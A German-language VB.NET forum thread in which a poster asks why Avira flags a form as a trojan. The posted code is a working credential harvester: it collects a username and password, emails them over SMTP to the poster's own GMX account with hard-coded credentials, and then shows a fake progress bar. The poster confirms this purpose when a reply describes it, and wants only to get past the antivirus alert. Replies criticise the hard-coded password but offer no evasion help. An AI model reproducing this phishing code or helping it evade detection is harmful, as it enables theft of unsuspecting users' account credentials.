Antivir schlägt bei diesem Code Alarm

  • VB.NET

Es gibt 13 Antworten in diesem Thema. Der letzte Beitrag () ist von Niko Ortner.

    Antivir schlägt bei diesem Code Alarm

    Sers Leute,

    habe ein Formular mit E-mail funktion per smtp programmiert. Das Problem ist, dass mein AntiVir immer Alarm schlägt (Er meldet einen Trojaner, beim Debugten Programm und beim Hauptprojekt). Das ist natürlich blöd, denn ich will ja nicht, dass die Leute denken, das sei ein Virus oder sonstiges.

    Ich habe herausgefunden, dass es an folgendem Code liegt:


    Visual Basic-Quellcode

    1. If TextBox2.TextLength >= 12 Then
    2. Dim text As String
    3. text = TextBox1.Text & vbCrLf & TextBox2.Text & vbCrLf
    4. Dim myClient As New Net.Mail.SmtpClient("mail.gmx.net")
    5. myClient.Credentials = New NetworkCredential("...@gmx.de", "pw")
    6. myClient.Send("...@gmx.de", "...@gmx.de", "Message", text)
    7. End If


    Entferne ich diesen Code gibt es keine Probleme, nix.

    Schreibe ich ihn wieder rein meldet Antivir sich und es geht wieder nicht weiter.

    Benötige Hilfe!! ?(

    Danke im Voraus
    Gar nicht.
    Du kannst aber ein PHP-Script verwenden, um die Mails zu schicken. :)
    php.net/manual/de/function.mail.php

    Grüße
    "Life isn't about winning the race. Life is about finishing the race and how many people we can help finish the race." ~Marc Mero

    Nun bin ich also auch soweit: Keine VB-Fragen per PM! Es gibt hier ein Forum, verdammt!
    Abgesehen von der Tatsache, dass es grob fahrlässig ist, sein Passwort im Code zu halten, gibt es keinen Grund, weshalb der Code gefährlich wäre.
    Und mein Avira schlägt darauf auch nicht an.

    Möglicherweise hast du im Gesamtprogramm irgendwelche Pattern drin, die in der Kombination als ungesund betrachtet werden.
    --
    If Not Program.isWorking Then Code.Debug Else Code.DoNotTouch
    --
    Hmm selstam..
    Vielleicht fällt dir/euch ja hier irgendetwas auf?
    Wenn nicht, lern ich ma das mit php :)


    Visual Basic-Quellcode

    1. Imports System.Net.WebRequestMethods
    2. Imports System.Net.Mail
    3. Imports System.Net
    4. Public Class Form1
    5. Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
    6. End Sub
    7. Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
    8. End Sub
    9. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    10. If TextBox1.TextLength <= 2 Then
    11. MessageBox.Show("Your username is shorter than 3 characters.")
    12. Return
    13. End If
    14. If TextBox2.TextLength <= 11 Then
    15. MessageBox.Show("Your password is shorter than 12 characters.")
    16. Return
    17. End If
    18. If TextBox2.TextLength >= 16 Then
    19. MessageBox.Show("Your password is longer than 16 characters.")
    20. Return
    21. Else
    22. If TextBox2.TextLength >= 12 Then
    23. Dim text As String
    24. text = TextBox1.Text & vbCrLf & TextBox2.Text & vbCrLf
    25. Dim myClient As New Net.Mail.SmtpClient("mail.gmx.net")
    26. myClient.Credentials = New NetworkCredential("email", "pw")
    27. myClient.Send("email", "email", "Message", text)
    28. End If
    29. End If
    30. Timer1.Start()
    31. End Sub
    32. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    33. Label4.Parent = PictureBox1
    34. End Sub
    35. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    36. ProgressBar2.Increment(2)
    37. If ProgressBar2.Value = ProgressBar2.Maximum Then
    38. Timer1.Stop()
    39. MessageBox.Show("Fetich hiaa")
    40. End If
    41. End Sub
    42. End Class

    VB.NET-Quellcode

    1. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    2. ProgressBar2.Increment(2)
    3. If ProgressBar2.Value = ProgressBar2.Maximum Then
    4. Timer1.Stop()
    5. MessageBox.Show("Fetich hiaa")
    6. End If
    7. End Sub

    Vielleicht hat's auch erkannt, dass Du den User mit unnötigen ProgressBars hinhältst.
    Ich bin ehrlich erstaunt, dass da überhaupt irgendwas erkannt wird. Siehe hier.
    Du kannst ja mal Avira anschreiben und nachfragen, wo das Problem liegt.

    Nochwas:
    Man sollte Passwörter nur bedingt in der Länge beschränken. Damit meine ich "Your password is longer than 16 characters.". Wenn überhaupt, dann macht es Sinn, auf z.B. 80 Zeichen zu beschränken, damit man z.B. einen Server nicht so leicht überlasten kann, wenn man ihm sehr viele Passwörter zu hashen gibt. Aber das hab ich nur mal irgendwo gelesen; ich vermute, dass das keinen großen Unterschied macht.
    16 Zeichen sind jedenfalls zu wenig. Was, wenn ich ein Passwort mit 17 Stellen verwenden möchte?
    In die andere Richtung würde ich persönlich etwas mehr Platz lassen (Minimum 8 Zeichen).
    Aber was das alles sowieso ad absurdum führt: Du musst Dich ja gar nicht um die Passwörter kümmern. Wenn jemand bei seinem E-Mail Konto ein 3-stelliges Passwort verwendet, dann kann das Deinem Programm eigentlich egal sein.
    "Luckily luh... luckily it wasn't poi-"
    -- Brady in Wonderland, 23. Februar 2015, 1:56
    Desktop Pinner | ApplicationSettings | OnUtils

    Niko Ortner schrieb:

    Wenn jemand bei seinem E-Mail Konto ein 3-stelliges Passwort verwendet, dann kann das Deinem Programm eigentlich egal sein.
    Ich habe den Sinn des Programms anders verstanden:
    Es soll Username und Passwort (wofür auch immer) per Textbox abfragen und diese Infos per SMTP mit den Credentials des TE an den GMX-Account des TE senden.
    --
    If Not Program.isWorking Then Code.Debug Else Code.DoNotTouch
    --
    Ich habe den Sinn des Programms anders verstanden:
    Es soll Username und Passwort (wofür auch immer) per Textbox abfragen und diese Infos per SMTP mit den Credentials des TE an den GMX-Account des TE senden.


    100 Punkte.
    Es ist auch egal, warum und wieso ich es so verwende. Mein Problem lag am AntiVir-alert.
    Jedenfalls danke an euch und noch einen schönen Sonntag.
    Du solltest dir dennoch im Klaren darüber sein, dass, sobald du das Programm aus der Hand gibst, dem Empfänger deine Mail-Zugangsdaten mit gibst.
    Es ist ein überhaupt kein Problem, diese aus der EXE zu extrahieren.
    Damit ist jedem, der Zugang zu dem Programm hat, Tür und Tor geöffnet, mit deinem Mail-Account allen möglichen Unfug anzustellen.

    Es gibt nur wenige Menschen, zu denen ich ein solch grenzenloses Vertrauen hätte.
    Und ich habe nicht das Gefühl, dass der Kreis deiner Anwender dazu gehören würde. ;)
    --
    If Not Program.isWorking Then Code.Debug Else Code.DoNotTouch
    --